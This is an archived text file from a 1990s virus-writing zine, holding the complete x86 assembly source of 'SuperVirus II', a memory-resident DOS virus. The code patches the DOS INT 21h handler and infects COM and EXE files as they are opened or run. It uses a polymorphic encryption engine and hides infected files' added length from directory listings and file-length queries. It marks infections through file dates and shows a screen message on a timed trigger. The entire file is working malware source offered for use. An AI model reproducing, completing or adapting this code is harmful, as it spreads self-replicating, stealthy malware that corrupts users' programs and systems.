home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / pc / MAGS.ZIP / VLAD#4.ZIP / ARTICLE.3_4 < prev    next >
Encoding:
Text File  |  1995-04-07  |  19.1 KB  |  932 lines

  1.  
  2. ; SuperVirus II
  3. ; by Burglar from Taiwan
  4. ; uses the PME engine by the same author.
  5.  
  6.         .286
  7.  
  8.         .MODEL  SMALL
  9.         .CODE
  10.  
  11.         EXTRN   PME:NEAR, PME_END:NEAR
  12.  
  13.         MOV     AX,CS
  14.         ADD     AX,30H
  15.         CALL    $+3
  16.         POP     BX
  17.         CMP     BH,3
  18.         JE      EEE
  19.         SUB     AX,10H
  20. EEE:
  21.         PUSH    AX
  22.         PUSH    OFFSET $+4
  23.         RETF
  24.  
  25.         MOV     AX,0ABCDH
  26.         INT     21H
  27.         CMP     AX,0DCBAH
  28.         JNE     TSR
  29.  
  30.         CMP     CS:C_E,0
  31.         JE      COM
  32.  
  33.         MOV     AX,DS
  34.         ADD     AX,10H
  35.         ADD     CS:_SS,AX
  36.         ADD     CS:_CS,AX
  37.         CLI
  38.         MOV     SP,CS:_SP
  39.         MOV     SS,CS:_SS
  40.         JMP     DWORD PTR CS:_IP
  41.  
  42. COM:
  43.         PUSH    DS
  44.         PUSH    100H
  45.         MOV     SI,VIR_LEN+10H+100H+200H
  46.         MOV     DI,100H
  47.         MOV     CX,CS:LEN_LOW
  48.         CLD
  49.         CLI
  50.         INT     3
  51. REP     MOVSB
  52.         RETF
  53.  
  54. TSR:
  55.         MOV     CS:FLAG,0
  56.         MOV     CS:IN_VIR,0
  57.         MOV     AX,DS
  58.         DEC     AX
  59.         MOV     DS,AX
  60.         MOV     BX,DS:[3]
  61.         MOV     AX,VIR_LEN+1FH
  62.         SHR     AX,4
  63.         SUB     BX,AX
  64.         MOV     AH,4AH
  65.         INT     21H
  66.  
  67.         MOV     AX,5800H
  68.         INT     21H
  69.         PUSH    AX
  70.         MOV     AX,5802H
  71.         INT     21H
  72.         PUSH    AX
  73.         MOV     BX,82H
  74.         MOV     AX,5801H
  75.         INT     21H
  76.         MOV     BX,1
  77.         MOV     AX,5803H
  78.         INT     21H
  79.  
  80.         MOV     BX,VIR_LEN+0FH
  81.         SHR     BX,4
  82.         MOV     AH,48H
  83.         INT     21H
  84.  
  85.         MOV     ES,AX
  86.         DEC     AX
  87.         MOV     DS,AX
  88.         MOV     WORD PTR DS:[1],8
  89.         PUSH    CS
  90.         POP     DS
  91.         XOR     SI,SI
  92.         XOR     DI,DI
  93.         MOV     CX,VIR_LEN
  94.         CLD
  95. REP     MOVSB
  96.  
  97.         PUSH    ES
  98.         PUSH    OFFSET GO
  99.         RETF
  100. GO:
  101.         MOV     AH,4
  102.         INT     1AH
  103.         XOR     DH,DL
  104.         JNZ     QUIET
  105.         MOV     AX,3508H
  106.         INT     21H
  107.         MOV     WORD PTR CS:I8,BX
  108.         MOV     WORD PTR CS:I8+2,ES
  109.         MOV     DX,OFFSET INT8
  110.         PUSH    CS
  111.         POP     DS
  112.         MOV     AX,2508H
  113.         INT     21H
  114. QUIET:
  115.         POP     BX
  116.         XOR     BH,BH
  117.         MOV     AX,5803H
  118.         INT     21H
  119.         POP     BX
  120.         MOV     AX,5801H
  121.         INT     21H
  122.  
  123.         MOV     AH,13H
  124.         INT     2FH
  125.         MOV     CS:I_13H_IP,BX
  126.         MOV     CS:I_13H_CS,ES
  127.         MOV     AH,13H
  128.         INT     2FH
  129.  
  130.         CALL    GET_21H_ENTRY
  131.                                                 ;!!!
  132.         PUSH    CS:I_21H_CS
  133.         POP     CS:CS1
  134.         PUSH    CS:I_21H_CS
  135.         POP     CS:CS2
  136.         PUSH    CS:I_21H_CS
  137.         POP     CS:CS3
  138.         PUSH    CS:I_21H_CS
  139.         POP     CS:CS4
  140.         PUSH    CS
  141.         POP     CS:CS5
  142.                                         ;INSTALL 1ST INT 21H
  143.         MOV     SI,CS:I21HIP_F
  144.         MOV     DI,OFFSET ORG1
  145.         MOV     DS,CS:I_21H_CS
  146.         PUSH    [SI]
  147.         POP     CS:[DI]
  148.         PUSH    [SI+2]
  149.         POP     CS:[DI+2]
  150.         MOV     AX,SI
  151.         ADD     AX,5
  152.         MOV     BL,[SI+4]
  153.         XOR     BH,BH
  154.         ADD     AX,BX
  155.         CMP     [SI+4],BYTE PTR 80H
  156.         JB      LOC8
  157.         SUB     AX,100H
  158. LOC8:
  159.         MOV     CS:IP2,AX
  160.         PUSH    CS:I21HIP_F
  161.         POP     CS:IP1
  162.         ADD     CS:IP1,5
  163.         MOV     BYTE PTR [SI],0EAH
  164.         MOV     WORD PTR [SI+1],OFFSET INT21H1
  165.         MOV     [SI+3],CS
  166.  
  167.                                         ;INSTALL 2TH INT 21H
  168.         MOV     SI,CS:I_21H_IP
  169.         MOV     DI,OFFSET ORG2
  170.         MOV     DS,CS:I_21H_CS
  171.         PUSH    [SI]
  172.         POP     CS:[DI]
  173.         PUSH    [SI+2]
  174.         POP     CS:[DI+2]
  175.         MOV     AX,SI
  176.         ADD     AX,5
  177.         MOV     BL,[SI+4]
  178.         XOR     BH,BH
  179.         ADD     AX,BX
  180.         CMP     [SI+4],BYTE PTR 80H
  181.         JB      LOC9
  182.         SUB     AX,100H
  183. LOC9:
  184.         MOV     CS:IP4,AX
  185.         PUSH    CS:I_21H_IP
  186.         POP     CS:IP3
  187.         ADD     CS:IP3,5
  188.         MOV     [SI],BYTE PTR 0EAH
  189.         MOV     WORD PTR [SI+1],OFFSET INT21H2
  190.         MOV     [SI+3],CS
  191.  
  192.         MOV     AH,51H
  193.         INT     21H
  194.         MOV     DS,BX
  195.         MOV     ES,BX
  196.  
  197.         CMP     CS:C_E,0
  198.         JE      COM1
  199.  
  200.         MOV     AX,DS
  201.         ADD     AX,10H
  202.         ADD     CS:_SS,AX
  203.         ADD     CS:_CS,AX
  204.         CLI
  205.         MOV     SP,CS:_SP
  206.         MOV     SS,CS:_SS
  207.         JMP     DWORD PTR CS:_IP
  208.  
  209. COM1:
  210.         MOV     SI,VIR_LEN+10H+100H+200H
  211.         MOV     DI,100H
  212.         MOV     CX,CS:LEN_LOW
  213.         CLD
  214. REP     MOVSB
  215.         PUSH    DS
  216.         PUSH    100H
  217.         RETF
  218.  
  219.  
  220. GET_21H_ENTRY   PROC
  221.         PUSH    AX
  222.         PUSH    BX
  223.         PUSH    CX
  224.         PUSH    DS
  225.  
  226.         MOV     CS:FLAG,0
  227.         XOR     AX,AX
  228.         MOV     DS,AX
  229.  
  230.         MOV     BX,30H*4+1
  231.         LDS     BX,[BX]
  232.         CMP     BYTE PTR [BX],0EAH
  233.         JNE     DOSHIGH
  234.  
  235.         LDS     BX,[BX+1]
  236. DOSHIGH:
  237.         CMP     WORD PTR [BX+6],2EFFH
  238.         JNE     DOSLOW
  239.  
  240.         MOV     BX,[BX+8]
  241.         LDS     BX,[BX]
  242. DOSLOW:
  243.         MOV     CX,2CH
  244.         ADD     BX,25H
  245. LOC_1:
  246.         CMP     WORD PTR [BX],0FC80H
  247.         JNE     LOC_2
  248.         MOV     CS:I_21H_IP,BX
  249.         CMP     CS:FLAG,0
  250.         JNE     LOC_2
  251.         MOV     CS:I21HIP_F,BX
  252.         NOT     CS:FLAG
  253. LOC_2:
  254.         INC     BX
  255.         LOOP    LOC_1
  256.  
  257. ;       ADD     CS:I_21H_IP,5
  258.         MOV     CS:I_21H_CS,DS                          ;INT 21H ENTRY OK!
  259.  
  260.         POP     DS
  261.         POP     CX
  262.         POP     BX
  263.         POP     AX
  264.  
  265.         RET
  266.  
  267. I21HIP_F        DW      0
  268. I_21H_IP        DW      0
  269. I_21H_CS        DW      0
  270. GET_21H_ENTRY   ENDP
  271.  
  272.  
  273. INT21H1 PROC
  274.         PUSHF
  275.         CMP     AX,0ABCDH
  276.         JNE     LOC1
  277.         MOV     AX,0DCBAH
  278.         POPF
  279.         IRET
  280. LOC1:
  281.         CMP     AH,11H
  282.         JE      DIR
  283.         CMP     AH,12H
  284.         JE      DIR
  285.         CMP     AH,6CH
  286.         JNE     LOC2
  287.         JMP     JOB1
  288. LOC2:
  289.         POPF
  290. ORG1:   DB      4 DUP (?)
  291.         DB      5
  292.         DB      0EAH
  293. IP1     DW      ?
  294. CS1     DW      ?
  295.         DB      0EAH
  296. IP2     DW      ?
  297. CS2     DW      ?
  298.  
  299. DIR:
  300.         DB      9AH
  301.         DW      OFFSET ORG1
  302. CS5     DW      ?
  303.         PUSHF
  304.         CMP     AL,0FFH
  305.         JNE     L0841
  306.  
  307.         POPF
  308.         RETF    2
  309. L0841:
  310.         MOV     CS:IN_VIR,1
  311.         MOV     CS:D_J,0
  312.         PUSHA
  313.         PUSH    DS
  314.         PUSH    ES
  315.  
  316.         MOV     AH,2FH
  317.         INT     21H
  318.         MOV     SI,BX
  319.         PUSH    ES
  320.         POP     DS
  321.         MOV     DI,OFFSET BUFF
  322.         PUSH    CS
  323.         POP     ES
  324.         CLD
  325.         CMP     BYTE PTR [SI],0FFH
  326.         JNE     L1235
  327.         ADD     SI,7
  328. L1235:
  329.         CMP     WORD PTR [SI+19H],0C800H
  330.         JB      L1230
  331.         SUB     WORD PTR [SI+19H],0C800H
  332.         SUB     WORD PTR [SI+1DH],VIR_LEN+10H+200H
  333.         SBB     WORD PTR [SI+1FH],0
  334.         JMP     L4310
  335. L1230:
  336.         LODSB
  337.         OR      AL,AL
  338.         JZ      L1537
  339.         ADD     AL,40H
  340.         MOV     AH,':'
  341.         STOSW
  342. L1537:
  343.         MOV     BP,SI
  344.         ADD     BP,8
  345.  
  346.         CMP     WORD PTR [SI+8],'OC'
  347.         JNE     L5242
  348.         CMP     BYTE PTR [SI+10],'M'
  349.         JE      L0546
  350. L5242:
  351.         CMP     WORD PTR [SI+8],'XE'
  352.         JNE     L4310
  353.         CMP     BYTE PTR [SI+10],'E'
  354.         JNE     L4310
  355. L0546:
  356.         LODSB
  357.         CMP     AL,' '
  358.         JE      L0647
  359. L0246:
  360.         STOSB
  361.         CMP     BP,SI
  362.         JNE     L0546
  363. L0647:
  364.         MOV     AL,'.'
  365.         STOSB
  366.         MOV     SI,BP
  367.         MOVSW
  368.         MOVSB
  369.         XOR     AL,AL
  370.         STOSB
  371.  
  372.         MOV     DX,OFFSET BUFF
  373.         PUSH    CS
  374.         POP     DS
  375.         JMP     J0
  376. L4310:
  377.         MOV     CS:IN_VIR,0
  378.         POP     ES
  379.         POP     DS
  380.         POPA
  381.         POPF
  382.         RETF    2
  383.  
  384. INT21H1 ENDP
  385.  
  386. INT21H2 PROC
  387.         PUSHF
  388.         CMP     CS:IN_VIR,1
  389.         JE      L2933
  390.         CMP     AX,4200H
  391.         JE      STEAL
  392.         CMP     AX,4202H
  393.         JE      STEAL
  394.         CMP     AH,3DH
  395.         JE      JOB1
  396.         CMP     AH,43H
  397.         JE      JOB1
  398.         CMP     AH,4BH
  399.         JE      JOB1
  400.         CMP     AH,56H
  401.         JNE     L2933
  402. JOB1:
  403.         JMP     JOB
  404. L2933:
  405.         POPF
  406. ORG2:   DB      4 DUP (?)
  407.         DB      5
  408.         DB      0EAH
  409. IP3     DW      ?
  410. CS3     DW      ?
  411.         DB      0EAH
  412. IP4     DW      ?
  413. CS4     DW      ?
  414.  
  415. STEAL:
  416.         MOV     CS:IN_VIR,1
  417.         PUSH    DS
  418.         PUSH    ES
  419.         PUSHA
  420.  
  421.         MOV     AX,5700H
  422.         INT     21H
  423.         CMP     DX,0C800H
  424.         JNB     L4156
  425.         MOV     CS:IN_VIR,0
  426.         POPA
  427.         POP     ES
  428.         POP     DS
  429.         POPF
  430.         JMP     ORG2
  431. L4156:
  432.         XOR     CX,CX
  433.         XOR     DX,DX
  434.         MOV     AX,4200H
  435.         INT     21H
  436.         MOV     DX,OFFSET MZ
  437.         PUSH    CS
  438.         POP     DS
  439.         MOV     CX,2
  440.         MOV     AH,3FH
  441.         INT     21H
  442.         CMP     CS:MZ,'ZM'
  443.         JE      EXE8
  444.         POPA
  445.         OR      AL,AL
  446.         JNE     L5854
  447.         ADD     DX,VIR_LEN+10H+200H
  448.         ADC     CX,0
  449.         POP     ES
  450.         POP     DS
  451.         POPF
  452.         INT     21H
  453.         PUSHF
  454.         SUB     AX,VIR_LEN+10H+200H
  455.         SBB     DX,0
  456.         MOV     CS:IN_VIR,0
  457.         POPF
  458.         RETF    2
  459. L5854:
  460.         POP     ES
  461.         POP     DS
  462.         POPF
  463.         INT     21H
  464.         PUSHF
  465.         SUB     AX,VIR_LEN+10H+200H
  466.         SBB     DX,0
  467.         MOV     CS:IN_VIR,0
  468.         POPF
  469.         RETF    2
  470.  
  471. EXE8:
  472.         POPA
  473.         CMP     AL,2
  474.         JNE     L3149
  475.         SUB     DX,VIR_LEN+10H+200H
  476.         SBB     CX,0
  477.         POP     ES
  478.         POP     DS
  479.         POPF
  480.         INT     21H
  481.         PUSHF
  482.         MOV     CS:IN_VIR,0
  483.         POPF
  484.         RETF    2
  485. L3149:
  486.         MOV     CS:IN_VIR,0
  487.         POP     ES
  488.         POP     DS
  489.         POPF
  490.         JMP     ORG2
  491.  
  492. JOB:
  493.         MOV     CS:IN_VIR,1
  494.         MOV     CS:D_J,1
  495.         PUSHA
  496.         PUSH    DS
  497.         PUSH    ES
  498.  
  499.         CMP     AH,6CH
  500.         JNE     J0
  501.         MOV     DX,SI
  502. J0:
  503.         MOV     WORD PTR CS:F_NAME,DX
  504.         MOV     WORD PTR CS:F_NAME+2,DS
  505.         MOV     SI,DX
  506.         CLD
  507. OO:     LODSB
  508.         OR      AL,AL
  509.         JNZ     OO
  510.         SUB     SI,12
  511.         MOV     DI,OFFSET _COMM
  512.         PUSH    CS
  513.         POP     ES
  514.         MOV     CX,11
  515. REPE    CMPSB
  516.         JNE     NOT_COMM
  517.  
  518.         JMP     EXIT
  519. NOT_COMM:
  520.         MOV     DX,WORD PTR CS:F_NAME
  521.         MOV     AX,3D00H
  522.         PUSHF
  523.         CALL    DWORD PTR CS:IP3
  524.  
  525.         MOV     BX,AX
  526.         MOV     AX,5700H
  527.         INT     21H
  528.  
  529.         MOV     AH,3EH
  530.         INT     21H
  531.  
  532.         CMP     DX,0C800H
  533.         JB      COM_EXE
  534.         JMP     EXIT
  535. COM_EXE:
  536.         MOV     CS:TIME,CX
  537.         MOV     CS:DATE,DX
  538.  
  539.         MOV     SI,WORD PTR CS:F_NAME
  540.         MOV     DS,WORD PTR CS:F_NAME+2
  541.         CLD
  542. C0:
  543.         LODSB
  544.         OR      AL,AL
  545.         JNZ     C0
  546.         CMP     WORD PTR [SI-3],'MO'
  547.         JNE     C1
  548.         CMP     WORD PTR [SI-5],'C.'
  549.         JE      COM2
  550. C1:
  551.         CMP     WORD PTR [SI-3],'EX'
  552.         JNE     C2
  553.         CMP     WORD PTR [SI-5],'E.'
  554.         JE      EXE2
  555. C2:
  556.         JMP     EXIT
  557. COM2:
  558.         MOV     CS:C_E,0
  559.         JMP     INFECT
  560. EXE2:
  561.         MOV     CS:C_E,1
  562.  
  563. INFECT:
  564.         IN      AL,21H
  565.         OR      AL,1
  566.         OUT     21H,AL
  567.  
  568.         MOV     AX,3513H
  569.         INT     21H
  570.         MOV     CS:O_13H_IP,BX
  571.         MOV     CS:O_13H_CS,ES
  572.  
  573.         MOV     DX,CS:I_13H_IP
  574.         MOV     DS,CS:I_13H_CS
  575.         MOV     AX,2513H
  576.         INT     21H
  577.  
  578.         MOV     AX,3524H
  579.         INT     21H
  580.         MOV     CS:O_24H_IP,BX
  581.         MOV     CS:O_24H_CS,ES
  582.  
  583.         MOV     DX,OFFSET INT24H
  584.         PUSH    CS
  585.         POP     DS
  586.         MOV     AX,2524H
  587.         INT     21H
  588.  
  589.         MOV     AH,52H
  590.         INT     21H
  591.         MOV     DS,ES:[BX-2]
  592. LL:
  593.         CMP     DS:[0],BYTE PTR 'Z'
  594.         JE      KK
  595.         MOV     AX,DS
  596.         INC     AX
  597.         ADD     AX,WORD PTR DS:[3]
  598.         MOV     DS,AX
  599.         JMP     LL
  600. KK:
  601.         MOV     AX,DS
  602.         SUB     AX,2000H
  603.         MOV     CS:MEM,AX
  604.  
  605.         MOV     DX,WORD PTR CS:F_NAME
  606.         MOV     DS,WORD PTR CS:F_NAME+2
  607.         MOV     AX,4300H
  608.         INT     21H
  609.         MOV     CS:ATTR,CX
  610.  
  611.         XOR     CX,CX
  612.         MOV     AX,4301H
  613.         INT     21H
  614.  
  615.         MOV     AX,3D02H
  616.         PUSHF
  617.         CALL    DWORD PTR CS:IP3
  618.  
  619.         MOV     BX,AX
  620.         MOV     AH,45H
  621.         INT     21H
  622.  
  623.         MOV     CS:HANDLE,AX
  624.         MOV     AH,3EH
  625.         INT     21H
  626.  
  627.         CMP     CS:C_E,0
  628.         JNE     EXE3
  629.  
  630.         MOV     BX,CS:HANDLE
  631.         XOR     CX,CX
  632.         XOR     DX,DX
  633.         MOV     AX,4202H
  634.         INT     21H
  635.         MOV     CS:LEN_LOW,AX
  636.  
  637.         MOV     BX,CS:HANDLE
  638.         XOR     CX,CX
  639.         XOR     DX,DX
  640.         MOV     AX,4200H
  641.         INT     21H
  642.  
  643.         MOV     ES,CS:MEM
  644.         XOR     DX,DX
  645.         PUSH    CS
  646.         POP     DS
  647.         MOV     CX,VIR_LEN
  648.         MOV     BX,100H
  649.  
  650.         CALL    PME
  651.  
  652.         PUSH    DX
  653.         PUSH    CX
  654.         ADD     CX,10H
  655.         MOV     DX,CX
  656.         MOV     BX,CS:HANDLE
  657.         MOV     CX,CS:LEN_LOW
  658.         MOV     AH,3FH
  659.         PUSHF
  660.         CALL    DWORD PTR CS:IP3
  661.  
  662.         XOR     CX,CX
  663.         XOR     DX,DX
  664.         MOV     AX,4200H
  665.         PUSHF
  666.         CALL    DWORD PTR CS:IP3
  667.  
  668.         POP     CX
  669.         ADD     CX,10H
  670.         ADD     CX,CS:LEN_LOW
  671.         POP     DX
  672.         MOV     AH,40H
  673.         PUSHF
  674.         CALL    DWORD PTR CS:IP3
  675.  
  676.         JMP     DONE
  677. EXE3:
  678.         MOV     DX,OFFSET BUF
  679.         PUSH    CS
  680.         POP     DS
  681.         MOV     CX,18H
  682.         MOV     BX,CS:HANDLE
  683.         MOV     AH,3FH
  684.         INT     21H
  685.  
  686.         PUSH    CS:BUF+0EH
  687.         POP     CS:_SS
  688.         PUSH    CS:BUF+10H
  689.         POP     CS:_SP
  690.         PUSH    CS:BUF+14H
  691.         POP     CS:_IP
  692.         PUSH    CS:BUF+16H
  693.         POP     CS:_CS
  694.  
  695.         XOR     CX,CX
  696.         XOR     DX,DX
  697.         MOV     AX,4202H
  698.         INT     21H
  699.  
  700.         MOV     CS:LEN_LOW,AX
  701.         MOV     CS:LEN_HIGH,DX
  702.  
  703.         MOV     BX,AX
  704.         AND     BX,0FH
  705.         ADD     BX,VIR_LEN+200H
  706.         PUSH    BX
  707.         ADD     AX,10H
  708.         ADC     DX,0
  709.         AND     AX,0FFF0H
  710.         PUSH    AX
  711.         PUSH    DX
  712.         MOV     BX,10H
  713.         DIV     BX
  714.         SUB     AX,CS:BUF+8                             ;HEADER SIZE
  715.         MOV     CS:BUF+0EH,AX                           ;SS
  716.         MOV     CS:BUF+16H,AX                           ;CS
  717.         MOV     CS:BUF+10H,VIR_LEN+100H+200H            ;SP
  718.         MOV     CS:BUF+14H,0                            ;IP=0
  719.         POP     DX
  720.         POP     AX
  721.         POP     BX
  722.         PUSH    BX
  723.         PUSH    AX
  724.         PUSH    DX
  725.         ADD     AX,BX
  726.         ADC     DX,0
  727.         MOV     BX,200H
  728.         DIV     BX
  729.         OR      DX,DX
  730.         JE      LOC_6
  731.         INC     AX
  732. LOC_6:
  733.         MOV     CS:BUF+2,DX
  734.         MOV     CS:BUF+4,AX
  735.  
  736.         XOR     CX,CX
  737.         XOR     DX,DX
  738.         MOV     BX,CS:HANDLE
  739.         MOV     AX,4200H
  740.         INT     21H
  741.  
  742.         MOV     DX,OFFSET BUF
  743.         PUSH    CS
  744.         POP     DS
  745.         MOV     CX,18H
  746.         MOV     AH,40H
  747.         PUSHF
  748.         CALL    DWORD PTR CS:IP3
  749.  
  750.         POP     CX
  751.         POP     DX
  752.         MOV     AX,4200H
  753.         INT     21H
  754.  
  755.         MOV     ES,CS:MEM
  756.         XOR     DX,DX
  757.         PUSH    CS
  758.         POP     DS
  759.         MOV     CX,VIR_LEN
  760.         XOR     BX,BX
  761.  
  762.         CALL    PME
  763.  
  764.         POP     CX
  765.         MOV     BX,CS:HANDLE
  766.         MOV     AH,40H
  767.         PUSHF
  768.         CALL    DWORD PTR CS:IP3
  769. DONE:
  770.         MOV     CX,CS:TIME
  771.         MOV     DX,CS:DATE
  772.         ADD     DX,0C800H
  773.         MOV     AX,5701H
  774.         INT     21H
  775.  
  776.         MOV     AH,3EH
  777.         INT     21H
  778.  
  779.         MOV     DX,WORD PTR CS:F_NAME
  780.         MOV     DS,WORD PTR CS:F_NAME+2
  781.         MOV     CX,CS:ATTR
  782.         MOV     AX,4301H
  783.         INT     21H
  784.  
  785.         IN      AL,21H
  786.         AND     AL,0FEH
  787.         OUT     21H,AL
  788.  
  789.         MOV     DX,CS:O_13H_IP
  790.         MOV     DS,CS:O_13H_CS
  791.         MOV     AX,2513H
  792.         INT     21H
  793.  
  794.         MOV     DX,CS:O_24H_IP
  795.         MOV     DS,CS:O_24H_CS
  796.         MOV     AX,2524H
  797.         INT     21H
  798.  
  799. EXIT:
  800.         CMP     CS:D_J,0
  801.         JNE     L2205
  802.         JMP     L4310
  803. L2205:
  804.         POP     ES
  805.         POP     DS
  806.         POPA
  807.         CMP     AH,3DH
  808.         JE      L2554
  809.         MOV     CS:IN_VIR,0
  810.         POPF
  811.         JMP     ORG2
  812. L2554:                                          ;OPEN FILE CONDITION...
  813.         POPF
  814.         INT     21H
  815.         PUSHF
  816.         MOV     BX,AX
  817.         MOV     CS:IN_VIR,0
  818.         XOR     CX,CX
  819.         XOR     DX,DX
  820.         MOV     AX,4200H
  821.         INT     21H
  822.         MOV     AX,BX
  823.         POPF
  824.         RETF    2
  825.  
  826. INT21H2 ENDP
  827.  
  828. INT24H  PROC
  829.         XOR     AL,AL
  830.         IRET
  831. INT24H  ENDP
  832.  
  833. INT8    PROC
  834.         PUSHA
  835.         PUSH    DS
  836.         PUSH    ES
  837.         MOV     SI,OFFSET MSG
  838.         PUSH    CS
  839.         POP     DS
  840.         MOV     DI,10
  841.         PUSH    0B800H
  842.         POP     ES
  843.         CLD
  844.         IN      AL,40H
  845.         MOV     AH,AL
  846. L4006:  LODSB
  847.         OR      AL,AL
  848.         JZ      L3923
  849.         STOSW
  850.         JMP     L4006
  851. L3923:
  852.         POP     ES
  853.         POP     DS
  854.         POPA
  855.         DB      0EAH
  856. I8      DD      ?
  857. INT8    ENDP
  858.  
  859.  
  860. ;       data area
  861.  
  862. MEM             DW      ?
  863. HANDLE          DW      ?
  864. TIME            DW      ?
  865. DATE            DW      ?
  866. LEN_LOW         DW      1
  867. LEN_HIGH        DW      ?
  868. BUF             DW      18H/2 DUP (?)
  869. _SS             DW      ?
  870. _SP             DW      ?
  871. _IP             DW      ?
  872. _CS             DW      ?
  873. F_NAME          DD      ?
  874. I_13H_IP        DW      ?
  875. I_13H_CS        DW      ?
  876. O_13H_IP        DW      ?
  877. O_13H_CS        DW      ?
  878. O_24H_IP        DW      ?
  879. O_24H_CS        DW      ?
  880. ATTR            DW      ?
  881. C_E             DB      ?
  882. FLAG            DB      0
  883. D_J             DB      0
  884. BUFF            DB      15 DUP (0)
  885. IN_VIR          DB      0
  886. MZ              DW      0
  887. _COMM           DB      'COMMAND.COM'
  888. MSG             DB      'Hello! This is [Super Virus-2] ... written by'
  889.                 DB      ' Burglar'
  890.                 DB      ' in Taipei, Taiwan',0
  891.  
  892.  
  893. VIR_LEN EQU     OFFSET PME_END
  894.  
  895.  
  896.         END
  897.  
  898.  
  899. GET_FILENAME    PROC
  900.         PUSH    AX
  901.         PUSH    BX
  902.         PUSH    DS
  903.  
  904.         MOV     AH,51H
  905.         INT     21H
  906.  
  907.         MOV     DS,BX
  908.         MOV     DS,[2CH]
  909.         XOR     BX,BX
  910. LOC_3:
  911.         CMP     WORD PTR [BX],0
  912.         JE      LOC_4
  913.  
  914.         INC     BX
  915.         JMP     LOC_3
  916. LOC_4:
  917.         ADD     BX,4
  918.         MOV     CS:F_OFS,BX
  919.         MOV     CS:F_SEG,DS
  920.  
  921.         POP     DS
  922.         POP     BX
  923.         POP     AX
  924.  
  925.         RET
  926.  
  927. F_OFS   DW      0
  928. F_SEG   DW      0
  929. GET_FILENAME    ENDP
  930.  
  931.  
  932.